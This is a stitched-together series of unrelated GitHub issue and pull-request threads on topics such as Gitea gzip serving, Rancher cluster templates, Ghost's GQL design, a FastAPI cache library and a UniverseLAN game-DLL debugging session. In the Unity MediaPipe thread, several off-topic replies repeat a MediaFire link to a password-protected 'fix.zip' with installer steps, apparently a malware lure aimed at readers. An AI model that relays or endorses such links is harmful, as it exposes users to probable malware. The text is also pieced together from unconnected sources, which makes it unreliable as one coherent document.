btw, to circumvent this issue I am using a python script in the background which add further information (e.g. about the usage of the package) for the export to latex and compiles the document in background.


Improve vfsgen to not unzip bindata files but send to browser directly

Improve the embedded vfsgen, should fix #7107
UPDATE:  2020.12.23
Currently, all bindata files stored on binary with compressed bytes, when serve for http request, Gitea creates a zipReader and unzip them for the web browser. If we enabled gzip, then the file will be compressed again and sent to the browser.
But in fact, it's unnecessary. We can just send the compressed files to browser directly. It will spend less cpu and memory than before.

Codecov Report

:exclamation: No coverage uploaded for pull request base (master@9002c51). Click here to learn what that means.
The diff coverage is 10%.

@@            Coverage Diff            @@
##             master    #7109   +/-   ##
=========================================
  Coverage          ?   41.53%
=========================================
  Files             ?      446
  Lines             ?    60836
  Branches          ?        0
=========================================
  Hits              ?    25266
  Misses            ?    32285
  Partials          ?     3285

Impacted Files
Coverage Δ

modules/options/options.go
96.15% <ø> (ø)

modules/public/public.go
61.85% <10%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 9002c51...0732e50. Read the comment docs.

This looks like replication of modules/gzip. How come we can't use that?
Why are we adding another external dependency?

This is different. See my update on PR content.

What if the browser does not support gzip Content-Encoding? I think this at least needs a check for Accept-Encoding like I did in https://github.com/go-gitea/gitea/pull/12398/files#diff-cd0e2eab70b990fde2f1bce199926a38f33eb2cdbc8a7410adac886e213dedc7R113-R137 and if the client does not support gzip, send plain.

Also I'd suggest dropping shurcooL/httpgzip because it does not support brotli and implementing content-type negotiation is like 15 lines of code like I linked. Not worth pulling a dependency in imho.

Also I'd suggest dropping shurcooL/httpgzip because it does not support brotli and implementing Content-Encoding negotiation is like 15 lines of code like I linked. Not worth pulling a dependency in for.

Good idea. All done except to support br since vfsgen don't support that.

Maybe you can also copy the docs update regarding ENABLE_GZIP from https://github.com/go-gitea/gitea/pull/12398.

@silverwind Done.

Does not seem to work for me, HTTP requests are getting stuck unanswered with a bindata build.

Fixed. content.Open will still uncompress the file. We have to get compressed file content from *vfsgen۰CompressedFileInfo.GzipBytes.

content.Open will still uncompress the file

That's fine. Most clients will support gzip and will get the fast path without decompression.

make L-G-T-M work.


Editing and changing cluster template revision does not take into effect

Version : master-head
Steps:

Create a cluster template/revision T1/R1 with K8s version v1.14.6
Create another revision T1/R2 with K8s version v1.15.3
Create a cluster using R1
Edit the cluster and change the template revision to R2

Revision change does not take into effect. The cluster does not go to "updating" state
The request shows that UI does not send the new template revision (cattle-global-data:ctr-wqkbs) in the request.
The revision cattle-global-data:ctr-8skd8 is being sent

Note: Changing the cluster template revision through API is functional

I haven't figured out why yet. But it's actually this line in this commit which is causing the bug https://github.com/rancher/ui/commit/9621b09fb0830d9c22de17fb1fe1259a63c0622b#diff-9fb8eb2d13ba5649202f0c6db5bb8f46R1452

I misinterpreted what I saw not noticing the url was getting edited when I changed the revision and going back and refreshing the page. rancher/ui@9621b09#diff-9fb8eb2d13ba5649202f0c6db5bb8f46R1452 was not the cause of this issue.

https://github.com/rancher/rancher/issues/22977

Just for my own knowledge, is there a reason that this issue needs to be blocked by the other issue? They're completely unrelated from a code perspective and reproduced differently though I suspect while testing this issue you discovered the other.

Editing and changing to the new template revision with a different K8s version takes effect.
@codyrancher :  Left it open since we wanted to make sure that when we choose a new template revision, UI displays the k8s version correctly.


Pinned version of Pydantic

Hi,
You appear to have pinned version 1.7.1 of Pydantic in base.pip. Would it be possible to remove this pinned version, or to change it to a minimum version? Thanks!

Change is released in package version 0.6.3. Feel free to reopen or create another issue if you're not satisfied with solution


Replace the Person class with Subject

Ticket Link
1654
List of squashed commits

Replace Person with Subject

Test Checklist

[x] Exhibits Clear Code Structure:
[x] Project Unit Tests Passed:
[x] Project Jasmine Tests Passed:
[x] Executes Expected Functionality:
[x] Tested For Incorrect/Unexpected Inputs:

Could you revert all the text and aria attributes where in HTML files where username was replaced with uid? Thanks. The average user understands the term username but not uid. The uid and uhUuid convention is for the code only.


Update the protocol to version 3.17

Notes:

InlineValue feature is not yet supported by monaco, and it's not possible to NOT register the feature

This code is not tested yet
And I'm not sure about 440140aa03e0541fab580fde54eb822526d3188f and why it was required

@CGNonofr Thank you. I will have a look later today.

@CGNonofr Thank you. I will have a look later today.

Ok NOW it's tested and ready to be reviewed

@CGNonofr sorry it took a bit longer. The week didn't turn out as planned. 😅


Open All Changes with difftool does not work as expected

Dear all, thanks for the awesome work. I'm not sure if this is a bug or not, please remove this issue if it's inappropriate or so.

GitLens Version:
v10.2.2
VSCode Version:
1.46.1
OS Version:
Win 10

Steps to Reproduce:

Open any git repo with history
In "Repositories" view, right click on previous revision, click "Open all changes" -> a lot of editors open ;)
Press ctrl+shift+p -> "Open all changes with difftool"

error:

Maybe I do not understand the command properly. Is that command working only when there are merge changes, i.e. when I'm in the process of rebasing or merging?
If yes, how do I open all compare results (vs HEAD or working copy or two SHAs) in a difftool?
Thank you very much.

I'm seeing the same error on macOS.
GitLens Version:
v10.2.2
VSCode version:
1.47.2
OS version:
macOS mojave 10.14.6

[2020-07-20 19:52:47:350] ExternalDiffCommand
TypeError: Cannot read property 'uri' of undefined
[2020-07-20 19:59:20:206] ExternalDiffCommand
TypeError: Cannot read property 'uri' of undefined

This seems to be fixed with most recent v11. Not sure when it was fixed, but thanks!


Splash load balancing

@ kmike
Can Splash match Nginx for load balancing？
Because a single Splash load is low

@kmike

I want to use multiple physical machines to do load balancing

@thsheep sure, you can do this, Splash can be load balanced just like any other HTTP server. HAProxy can be a better fit than nginx though, because nginx provides request queues only in its paid version. See example HAProxy config in https://github.com/TeamHG-Memex/aquarium. See also: https://splash.readthedocs.io/en/stable/faq.html#how-to-run-splash-in-production.

@kmike
thank you very much! The My Splash load cluster is already working fine
But don't know whether to hold Hold. Thanks again,
Work happy! ☺

closes #24


Issues with location status codes

After the user selects never to be bothered by LocationSettingsResult dialog again subsequent calls return LocationSettingsStatusCodes.SETTINGS_CHANGE_UNAVAILABLE even when all requirements are satisfied.

Thanks for reporting. This is a known bug and a fix should be out in the next release.


Serverless and memebers on https://landscape.cncf.io/images/landscape.pdf points to localhost

Hello there,
I was goint through the pdfs
and I found that, when we hover or try to click on the serverless and members card on the right sidebar inside https://landscape.cncf.io/images/landscape.pdf it points to localhost:4000
The cards: https://imgur.com/O8Xw1JE.png

Hi!
We've just migrated the CNCF landscape to v2 and this issue probably no longer applies.
Please feel free to reopen if needed 🙂


Configure server-side timeouts

Router timeouts are only applied in the client stack, which is below retries, etc. This means that retries could persist forever, since they would never exceed a global timeout.
To fix this, the server is now configured with the router's timeout value, to impose a global timeout requirement.
In the future, it may make sense to admit client and server-specific timeouts.

:star: ⏰

🚢


server/apiextensions: stop serving non-wildcard identity requests

Per workspace no identity is necessary as GVR is unique. This mode of access was never expected to work.

e2e-sharded

/test e2e-sharded

/lgtm


Warhammer 40k Dawn of War II - Retribution Ver. <IP_ADDRESS>, GOG SDK Ver. 1.148.3

Game launches, UniverseLAN states EventConnect with KeyChallengeMessage ACCEPT (locally to my machine connection) but in-game states connection to GOG Galaxy is lost when attempting to create a match, also states Not Logged Into Galaxy when hovering over Username.
UniverseLAN config name does correctly show. Last Stand is greyed out (requires Galaxy to play). Same issue for both 64 and non-64 UniverseLAN Servers.
Game default installs with Galaxy.dll not Galaxy64.dll

I have confirmed your issue. I'll investigate when I'll have time (that might take a few weeks, or more than a month).
One way I debug such issues, if you have C++ development experience:

When creating the CMake project I also create the interceptor project:

rd /S /Q cmake-x86
mkdir cmake-x86
cmake -A Win32 -B cmake-x86 -D LIMIT_VERSIONS="1.148.3" -D BUILD_INTERCEPTOR=1 -D BUILD_TEST_CASES=1
pause

In this case I would rename the original Galaxy.dll to RealGalaxy.dll
After compilation, place GalaxyInterceptor.dll in the game directory, and rename that to Galaxy.dll
Copy the config from https://github.com/grasmanek94/UniverseLAN/blob/master/ConfigDebug/ into the gamedirectory
Set OverrideInitKeys = 0 and OverrideSignIn = 0 in UniverseLANData/Config.ini
Run the game once, create a lobby, exit the game
Replace RealGalaxy.dll with UniverseLAN Galaxy.dll (and of course keep it named RealGalaxy.dll)
Run the game again and try to host a lobby (this will fail of course, due to not signed in error)
Exit the game

This will have produced two new directories in UniverseLANData/Interceptor/Tracing, each containing log files.
Uploading these might make analysis easier - the behaviour of real Galaxy and UniverseLAN can be compared this way.
For your convenience, and if you have the time / possibility to help, I have attached a debug build of GalaxyInterceptor:
interceptor-1.139.2-1.148.3.zip

Hello! Sorry it's been some time, when attempting to run the game using the GalaxyInterceptor renamed as Galaxy.dll, it throws up a cli that says it's attempting to open the UniverseLAN.ini, and then the build version. The game will not launch afterwards, also when you're asking to copy the ConfigDebug config, are you meaning just the .ini? Or everything there? (UniverseLANData, and UniverseLANServerData folders, as well as the UniverseLAN.ini) I've tried multiple variations and the game won't launch so I'm likely missing something.

I also realized I think I need confirmation, should the "RealGalaxy.dll" actually be named RealGalaxy.dll? Is this important to the Interceptor functionality, or is this just for keeping track of which .dll is which?
If so I will likely need to redo this test.

I also realized I think I need confirmation, should the "RealGalaxy.dll" actually be named RealGalaxy.dll? Is this important to the Interceptor functionality, or is this just for keeping track of which .dll is which? If so I will likely need to redo this test.

The Interceptor .dll (which must be named Galaxy.dll) will load "RealGalaxy.dll", so this is purely functional, not for backing up files or cosmetic.
I quickly checked the log files and I don't see many differences between them. Could it perhaps be that both runs used the same RealGalaxy.dll file? I expected one log file is using UniverseLAN (RealGalaxy.dll) and the other is using Galaxy (also then named RealGalaxy.dll)?
I think I should add logging for which hash of the dll is loaded.. 😅

I seem to have messed up with the interceptor and naming, I'll do a fresh retry of it and provide the logs shortly.

Hey @OddPrograms , I'm investigating this and I have one question; can you confirm that multiplayer works on normal GOG/through Galaxy?

So, DoW2 seems to use a completely different mechanism than what all other games use, somehow they chose to directly interface with the GoG Galaxy Service instead of letting the GoG Galaxy API / dll handle it.
Impressive... but that's not supported by UniverseLAN (yet)..
This won't be a simple fix but a complete addition akin to comet.


Revisit & improve the knexify concept.

This is a brain dump of thoughts on the currently very temporary knexify module that exists in #2.
Currently, the 'knexifier' is just a mish-mash of functions which provide glue between the JSON format output from the GQL parser, and a knex query builder instance. The key part is the buildWhere function which organises the filter JSON into a set of query builder calls. I envisage we need a similar buildJoin function to do the same for joins, but I'm not sure if that truly should live in GQL.
(currently it's a dirty hack in Ghost's core/server/models/base/utils.js similar to the existing 'query' behaviour that handles joins for the existing implementation of tag/author filtering)
For now, knexify contains a bunch of contextual information that it uses to do its thing, and it needs a whole load more - like which attributes are permitted on a model, what their valid values are, and so on.
All of this is information that is already encoded inside of Ghost's model layer, so having it splatted in here is just a duplication for convenience sake whilst we're building all this fancy stuff out and trying to connect the dots between GQL and Ghost.
Long term, we should be grabbing all of the contextual information we need from Ghost's models, in a uniform and predictable way. This suggests that what we want to hook into with GQL is bookshelf, rather than knex.
I believe that the best approach for doing this might be to provide a bookshelf plugin as part of GQL, one that can hook into any bookshelf models and produce the same effect, providing those models expose the same functions or properties.
Short term, this might be too time-consuming, and it may be best to continue duplicating the information inside GQL in the most useful format, whilst the API in Ghost is also extended out, and revisit doing this in a better way in the future.
A question for right now is: is there some sort of middle ground? E.g. restructuring knexify as a bookshelf plugin, but still using hard-coded contextual information for now, or perhaps providing both the utils like buildWhere and buildJoin in a 'knexify' module, and having a second bookshelf plugin module to hook in?
I'm loosely aiming to make GQL useful to other people, although it's not a priority, for now the main priority is getting it both working AND highly testable.
Some interesting things, mostly for later, that I'm not sure how to do as a bookshelf plugin are:

provide the allowed attributes - Ghost models have their own permittedAttributes function - can we include that in the plugin in some way?
provide information about relations - I haven't yet found a way to get a list of what relations a model has from bookshelf itself. It may be that this is possible, or that it needs to become possible as part of bookshelf, or that we need to expose a permittedJoins type function as well
specify which relations should have counts and how they should behave
specify special rules for particular queries (see the 'Special Rules' section here)

I'm not working at Ghost so this is just a random person who worked on a similar problem's opinion.
I wrote a boolean-logic (plus some basic math operators) querying language that would then translate to ElasticSearch aggregations.
Rather than using a parser-generator I preferred for debugging and error messaging purposes to create my own tokenizer and lexer.
The way it worked was that the query was tokenized into tokens, then the lexer would create lexemes and build the AST. Once that was done, a ElasticSearch specific query would traverse the AST and just build the individual subqueries by switching on the name of the operators in the AST recursively.
For the Ghost use-case I think that a similar structure could be interesting. Something like:

one Query -> AST (Tokenizer / Lexer) module
one ORM specific plugin that converts an AST into a query object
one Ghost specific module that enriches the already built query with additional WHEN conditions or other clauses

I might work on this if there is any interest in it.
Just my two cents.

Hey @Mickael-van-der-Beek sorry for the slow reply. There are some similar conversations around the future direction for GQL happening on https://github.com/TryGhost/Ghost/issues/5604 and https://github.com/TryGhost/GQL/pull/17

GQL was replaced by NQL.
I will close this issue because GQL is deprecated now. We won't refactor GQL anymore.
If you have a question how NQL works, please raise an issue here.


[needs synchronisation] Package dependecy updates to use dune 2

This uses updated packages for flex, reason-harfbuzz and reason-font-manager. We probably want to use the npm-releases of these packages instead of pinning to a commit, so that needs to change in the manifest before this can be merged.
The following packages needs to be merged and/or released before this PR can be merged:

[ ] https://github.com/revery-ui/reason-harfbuzz/pull/7 - [merge, npm release]
[ ] https://github.com/revery-ui/reason-font-manager/pull/6 - [merge, npm release]
[x] https://github.com/jordwalke/flex/pull/25 - [npm release]

Awesome, thanks for the help here @lessp ! Looking at reason-harfbuzz and reason-font-manager now 👍

Thanks @lessp and @Et7f3 for all the help with these updates!

Perfect, thanks for the last push on these @bryphe!


Inline control structures sniff can be passed with halfway effort, bug?

Sniff detects this to be wrong
if ( "condition" != $yoda ) return;

It appears, that I can pass the sniff with
if ( "condition" != $yoda ) { return; }

I would've expected only multi-line control structure to pass
if ( "condition" != $yoda ) {
    return;
}

Bug or not? Documentation patch somewhere?

Yeah, this doesn't match the standards. I think we need to add Squiz.ControlStructures.ControlSignature to the ruleset. I think that will fix #17 as well.


Helper function to merge paged results.

[x] Create helper function
[ ] Update code to use it

See the TODO in admin_directory.py  This should probably go in the _base_client.py

Is this still open? I saw the build_paged_results() method call being used, somewhere

The function has been created here. This issue should be re-written to go and implement it where it's needed.

Fixed by PR #335 and #337


Added event handlers and tests

Summary:
Added optional custom event handlers for new_key and existing_key. Also added tests to cover the event handlers and custom key builder
Example
For the events new_key and existing_key you can pass in a custom handler. By default there are no handlers.
Via a decorator:
@FastAPICache.on_event("existing_key")
def exists_in_cache(func, *args, **kwargs):
    print("Existing key")
    return None
@FastAPICache.on_event("new_key")
def new_in_cache(func, *args, **kwargs):
    print("New key set")
    return None

Via a class method:
def exists_in_cache(func, *args, **kwargs):
    print("Existing key")
    return None
def new_in_cache(func, *args, **kwargs):
    print("New key set")
    return None
FastAPICache.set_on_existing_key(exists_in_cache)
FastAPICache.set_on_new_key(new_in_cache)

@long2ice - I've updated the PR based on your comments. Could you merge?

OK, please resolve conflicting files

Any movement on this? Would like to build off of it for some additional contributions.

@long2ice - needs to run and pass CI workflow then can merge

@long2ice - any updates on this?


Tracking Nose Point and Adding a Sphere in Unity MediaPipe Plugin

Plugin Version or Commit ID
latest one
Unity Version
2022.3.22f1
Your Host OS
Windows10
Target Platform
UnityEditor
Description
I’m working with the Unity MediaPipe plugin and need some help with the following:
Tracking the Nose Point:
How can I track the nose point using the MediaPipe plugin in Unity?
Are there specific methods or examples available for extracting the nose point coordinates from the MediaPipe landmarks?
Adding a Sphere to the Nose Point:
Once I have the nose point coordinates, how can I place a sphere at that exact location in the Unity scene?
Could you provide an example or guide on how to instantiate a sphere and position it based on the tracked nose point?
Code to Reproduce the issue
No response
Additional Context
No response

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."


feat: update SDK with new entity creation experience

:tada: This PR is included in version 0.281.0 :tada:
The release is available on:

npm package (@next dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Adding RSK Mainnet and Testnet networks

Changes proposed in this pull request:

Add RSK Mainnet Network (id: 30)
Add RSK Testnet Network (id: 31)

Hi @aeidelman! Thanks for your contribution, you will need to add a multicall contract to make it work, have a look here for more info: https://docs.snapshot.org/networks

Hi @bonustrack, I've added it as a separate PR (#182). Please let me know if that's ok. Thanks!

@aeidelman Ho yes, my bad i've missed the other PR. The changes are deployed now https://snapshot.org/#/networks?q=rsk

@bonustrack that was fast! We'll be trying snapshot in RSK, thanks!

Awesome! Come to our Discord if you need help.


Remove reference to dead modules

Remove/update dead modules like ringo http https etc. They are causing upstream problems when the bbop libraries are imported

@tmushayahama What is the exact issue here and where is it cropping up? It may be possible to just filter them out at your end in compilation. @pkalita-lbl may also have some insight here given recent work around AmiGO.

@tmushayahama Go ahead and add this to the most proximate project.

Also noting https://github.com/geneontology/amigo/issues/650

Adding more context to this, a typical error is this
Error: Module not found: Error: Can't resolve 'http' in 'C:\work\go\noctua-form-base
\node_modules\bbop-rest-manager\lib'

A work around for webpack was to add extra config and ignore plugin like so

However, if you are using other bundlers like rollup, there is no easy way to ignore plugins
tagging @kltm @pkalita-lbl

Honestly, I'd be tempted to derive a json-ld file from https://github.com/geneontology/go-site/blob/master/metadata/db-xrefs.yaml (and make part of our data products) and just use curie-util-es5, if it works like that--I have not personally examined this lib for a while.
The old bbop-js library is unpleasantly crusty at this point. If we had kept on it's maintenance and been using it as a core component, it probably would be in a better state these days. However, it has gotten a bit behind and still has some cruft that is problematic outside of its remaining uses in amigo and noctua (as you've run into). Because of that, I think it might be worth exploring curie-util-es5 so that we're at least using some common code and definitely common metadata.


[Bug-App]: Smoothing calculated before expression

Describe the bug
Hello,
There seems to be a bug in the smoothing when interacting with expressions. I want to calculate smoothed(exp(-x)), but the app is showing exp(-smoothed(x)). Is this intended behavior? I would think that the smoothing would apply to the expression, not the underlying time series used to calculate the expression.

Hi, thank you for the confirmation! It seems like it was partially a floating-point error due to taking exponents of very large or very small numbers. The discrepancies between what I calculated myself within matplotlib are resolved when I view it from a dashboard (top), but not when I view it from a report (bottom).
I suspect that the further discrepancy might be due to random sampling instead of plotting all data points when creating plots within a report. I could not find any option to turn that off -- is this user error or something that needs to be implemented?

Hi, thanks for sharing the screenshots and information!
Instead of using random sampling, I recommend switching to Full Fidelity since that’s the method used by the dashboard chart. If you’d like to learn more about how Full Fidelity works, feel free to check out our documentation here: Full Fidelity Documentation.
Let me know if this resolves the issue!